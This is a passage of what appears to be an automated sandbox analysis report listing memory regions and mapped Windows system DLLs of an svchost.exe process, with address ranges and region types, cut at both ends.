0x1260000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 2333 start_va = 0x1270000 end_va = 0x1270fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 2334 start_va = 0x1280000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 2335 start_va = 0x12a0000 end_va = 0x12a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 2336 start_va = 0x12b0000 end_va = 0x12b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012b0000" filename = "" Region: id = 2337 start_va = 0x12c0000 end_va = 0x12cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2338 start_va = 0x12d0000 end_va = 0x12dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2339 start_va = 0x12e0000 end_va = 0x12effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2340 start_va = 0x12f0000 end_va = 0x12fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2341 start_va = 0x1300000 end_va = 0x1307fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 2342 start_va = 0x1310000 end_va = 0x138ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 2343 start_va = 0x13b0000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2344 start_va = 0x1440000 end_va = 0x14bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2345 start_va = 0x1570000 end_va = 0x15effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 2346 start_va = 0x15f0000 end_va = 0x166ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2347 start_va = 0x1670000 end_va = 0x16affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001670000" filename = "" Region: id = 2348 start_va = 0x16b0000 end_va = 0x16effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016b0000" filename = "" Region: id = 2349 start_va = 0x16f0000 end_va = 0x176ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 2350 start_va = 0x17e0000 end_va = 0x185ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2351 start_va = 0x18e0000 end_va = 0x195ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 2352 start_va = 0x1970000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001970000" filename = "" Region: id = 2353 start_va = 0x1a50000 end_va = 0x1acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 2354 start_va = 0x1ad0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ad0000" filename = "" Region: id = 2355 start_va = 0x1cc0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 2356 start_va = 0x1e60000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 2357 start_va = 0x1e90000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 2358 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 2359 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 2360 start_va = 0x2030000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 2361 start_va = 0x20d0000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 2362 start_va = 0x21b0000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 2363 start_va = 0x2230000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 2364 start_va = 0x22b0000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 2365 start_va = 0x2370000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 2366 start_va = 0x24f0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 2367 start_va = 0x2600000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 2368 start_va = 0x2710000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 2369 start_va = 0x27e0000 end_va = 0x28dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 2370 start_va = 0x2940000 end_va = 0x294ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 2371 start_va = 0x2950000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 2372 start_va = 0x2a10000 end_va = 0x2a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 2373 start_va = 0x2b10000 end_va = 0x2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 2374 start_va = 0x2dc0000 end_va = 0x2e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 2375 start_va = 0x2e40000 end_va = 0x2ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 2376 start_va = 0x2ef0000 end_va = 0x2f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 2377 start_va = 0x2f90000 end_va = 0x300ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 2378 start_va = 0x3020000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 2379 start_va = 0x30a0000 end_va = 0x329ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 2380 start_va = 0x32c0000 end_va = 0x333ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 2381 start_va = 0x3360000 end_va = 0x33dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003360000" filename = "" Region: id = 2382 start_va = 0x33e0000 end_va = 0x345ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 2383 start_va = 0x3480000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003480000" filename = "" Region: id = 2384 start_va = 0x3660000 end_va = 0x36dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 2385 start_va = 0x36f0000 end_va = 0x376ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 2386 start_va = 0x38e0000 end_va = 0x395ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038e0000" filename = "" Region: id = 2387 start_va = 0x3a60000 end_va = 0x3adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a60000" filename = "" Region: id = 2388 start_va = 0x3b00000 end_va = 0x3b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 2389 start_va = 0x3b80000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 2390 start_va = 0x4090000 end_va = 0x410ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 2391 start_va = 0x4160000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 2392 start_va = 0x41e0000 end_va = 0x425ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 2393 start_va = 0x4350000 end_va = 0x454ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2394 start_va = 0x4590000 end_va = 0x460ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004590000" filename = "" Region: id = 2395 start_va = 0x4640000 end_va = 0x46bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 2396 start_va = 0x46c0000 end_va = 0x473ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 2397 start_va = 0x4790000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004790000" filename = "" Region: id = 2398 start_va = 0x48d0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048d0000" filename = "" Region: id = 2399 start_va = 0x49d0000 end_va = 0x4a8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2400 start_va = 0x4b30000 end_va = 0x4b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 2401 start_va = 0x4b40000 end_va = 0x4c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 2402 start_va = 0x4c40000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c40000" filename = "" Region: id = 2403 start_va = 0x4d40000 end_va = 0x4e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 2404 start_va = 0x4e40000 end_va = 0x4f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e40000" filename = "" Region: id = 2405 start_va = 0x4f40000 end_va = 0x503ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f40000" filename = "" Region: id = 2406 start_va = 0x5040000 end_va = 0x513ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 2407 start_va = 0x5140000 end_va = 0x613ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 2408 start_va = 0x61b0000 end_va = 0x622ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000061b0000" filename = "" Region: id = 2409 start_va = 0x6260000 end_va = 0x62dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006260000" filename = "" Region: id = 2410 start_va = 0x6360000 end_va = 0x63dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 2411 start_va = 0x6580000 end_va = 0x65fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006580000" filename = "" Region: id = 2412 start_va = 0x6600000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 2413 start_va = 0x6b90000 end_va = 0x6c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b90000" filename = "" Region: id = 2414 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2415 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2416 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2417 start_va = 0x77020000 end_va = 0x77026fff monitored = 0 entry_point = 0x7702106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2418 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2419 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2420 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2421 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2422 start_va = 0x7feef920000 end_va = 0x7feef951fff monitored = 0 entry_point = 0x7feef921060 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 2423 start_va = 0x7fef0320000 end_va = 0x7fef0572fff monitored = 0 entry_point = 0x7fef032236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 2424 start_va = 0x7fef0b20000 end_va = 0x7fef0b2efff monitored = 0 entry_point = 0x7fef0b29a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 2425 start_va = 0x7fef1210000 end_va = 0x7fef1254fff monitored = 0 entry_point = 0x7fef1243644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2426 start_va = 0x7fef1260000 end_va = 0x7fef1271fff monitored = 0 entry_point = 0x7fef12690bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2427 start_va = 0x7fef1280000 end_va = 0x7fef1289fff monitored = 0 entry_point = 0x7fef1283994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2428 start_va = 0x7fef1290000 end_va = 0x7fef1361fff monitored = 0 entry_point = 0x7fef1321a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 2429 start_va = 0x7fef16a0000 end_va = 0x7fef1873fff monitored = 0 entry_point = 0x7fef16d6b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 2430 start_va = 0x7fef1d80000 end_va = 0x7fef1ff9fff monitored = 0 entry_point = 0x7fef1db2200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2431 start_va = 0x7fef3780000 end_va = 0x7fef379bfff monitored = 0 entry_point = 0x7fef37811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2432 start_va = 0x7fef37a0000 end_va = 0x7fef3801fff monitored = 0 entry_point = 0x7fef37a1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2433 start_va = 0x7fef3810000 end_va = 0x7fef3849fff monitored = 0 entry_point = 0x7fef3811010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 2434 start_va = 0x7fef3f10000 end_va = 0x7fef3f80fff monitored = 0 entry_point = 0x7fef3f4ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 2435 start_va = 0x7fef41e0000 end_va = 0x7fef41ebfff monitored = 0 entry_point = 0x7fef41e602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2436 start_va = 0x7fef4490000 end_va = 0x7fef4497fff monitored = 0 entry_point = 0x7fef4491414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2437 start_va = 0x7fef44a0000 end_va = 0x7fef4510fff monitored = 0 entry_point = 0x7fef44e51d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 2438 start_va = 0x7fef4520000 end_va = 0x7fef4531fff monitored = 0 entry_point = 0x7fef45289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2439 start_va = 0x7fef4540000 end_va = 0x7fef45f4fff monitored = 0 entry_point = 0x7fef45bcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 2440 start_va = 0x7fef4600000 end_va = 0x7fef4618fff monitored = 0 entry_point = 0x7fef4601104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2441 start_va = 0x7fef4620000 end_va = 0x7fef466ffff monitored = 0 entry_point = 0x7fef4621190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2442 start_va = 0x7fef4670000 end_va = 0x7fef4677fff monitored = 0 entry_point = 0x7fef4671020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2443 start_va = 0x7fef4680000 end_va = 0x7fef46d9fff monitored = 0 entry_point = 0x7fef46bdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 2444 start_va = 0x7fef46e0000 end_va = 0x7fef4700fff monitored = 0 entry_point = 0x7fef46f03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2445 start_va = 0x7fef4710000 end_va = 0x7fef477afff monitored = 0 entry_point = 0x7fef4754344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2446 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2447 start_va = 0x7fef47a0000 end_va = 0x7fef4801fff monitored = 0 entry_point = 0x7fef47dbd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 2448 start_va = 0x7fef4810000 end_va = 0x7fef493bfff monitored = 0 entry_point = 0x7fef48c0ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 2449 start_va = 0x7fef4940000 end_va = 0x7fef4959fff monitored = 0 entry_point = 0x7fef4953fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2450 start_va = 0x7fef4960000 end_va = 0x7fef49e3fff monitored = 0 entry_point = 0x7fef49b1118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 2451 start_va = 0x7fef49f0000 end_va = 0x7fef4a14fff monitored = 0 entry_point = 0x7fef4a08c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 2452 start_va = 0x7fef4a20000 end_va = 0x7fef4a5cfff monitored = 0 entry_point = 0x7fef4a21070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2453 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2454 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2455 start_va = 0x7fef4bb0000 end_va = 0x7fef4bf6fff monitored = 0 entry_point = 0x7fef4bb1040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2456 start_va = 0x7fef4c00000 end_va = 0x7fef4c41fff monitored = 0 entry_point = 0x7fef4c017e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2457 start_va = 0x7fef4e00000 end_va = 0x7fef4e63fff monitored = 0 entry_point = 0x7fef4e01254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2458 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4e71010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2459 start_va = 0x7fef4f80000 end_va = 0x7fef4f96fff monitored = 0 entry_point = 0x7fef4f81060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2460 start_va = 0x7fef4fa0000 end_va = 0x7fef514ffff monitored = 0 entry_point = 0x7fef4fa1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2461 start_va = 0x7fef6160000 end_va = 0x7fef61d3fff monitored = 0 entry_point = 0x7fef61666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2462 start_va = 0x7fef7350000 end_va = 0x7fef736afff monitored = 0 entry_point = 0x7fef7351198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2463 start_va = 0x7fef7870000 end_va = 0x7fef788cfff monitored = 0 entry_point = 0x7fef7872f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 2464 start_va = 0x7fef79e0000 end_va = 0x7fef79e8fff monitored = 0 entry_point = 0x7fef79e11a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2465 start_va = 0x7fef7d70000 end_va = 0x7fef7d84fff monitored = 0 entry_point = 0x7fef7d71020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2466 start_va = 0x7fef7f40000 end_va = 0x7fef7fbbfff monitored = 0 entry_point = 0x7fef7f411d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2467 start_va = 0x7fef8310000 end_va = 0x7fef83fdfff monitored = 0 entry_point = 0x7fef83112a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2468 start_va = 0x7fef8520000 end_va = 0x7fef8536fff monitored = 0 entry_point = 0x7fef8529d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 2469 start_va = 0x7fef86e0000 end_va = 0x7fef8721fff monitored = 0 entry_point = 0x7fef8710048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 2470 start_va = 0x7fef8730000 end_va = 0x7fef8749fff monitored = 0 entry_point = 0x7fef8741ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 2471 start_va = 0x7fef8770000 end_va = 0x7fef877efff monitored = 0 entry_point = 0x7fef8776894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 2472 start_va = 0x7fef88c0000 end_va = 0x7fef8936fff monitored = 0 entry_point = 0x7fef88cafd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 2473 start_va = 0x7fefa090000 end_va = 0x7fefa099fff monitored = 0 entry_point = 0x7fefa09260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2474 start_va = 0x7fefa0a0000 end_va = 0x7fefa1b1fff monitored = 0 entry_point = 0x7fefa0bf354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 2475 start_va = 0x7fefa4e0000 end_va = 0x7fefa4eefff monitored = 0 entry_point = 0x7fefa4e7e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 2476 start_va = 0x7fefa4f0000 end_va = 0x7fefa4f8fff monitored = 0 entry_point = 0x7fefa4f3668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 2477 start_va = 0x7fefa500000 end_va = 0x7fefa508fff monitored = 0 entry_point = 0x7fefa501020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 2478 start_va = 0x7fefa510000 end_va = 0x7fefa565fff monitored = 0 entry_point = 0x7fefa511040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 2479 start_va = 0x7fefa570000 end_va = 0x7fefa5cdfff monitored = 0 entry_point = 0x7fefa579024 region_type = mapped_file name = 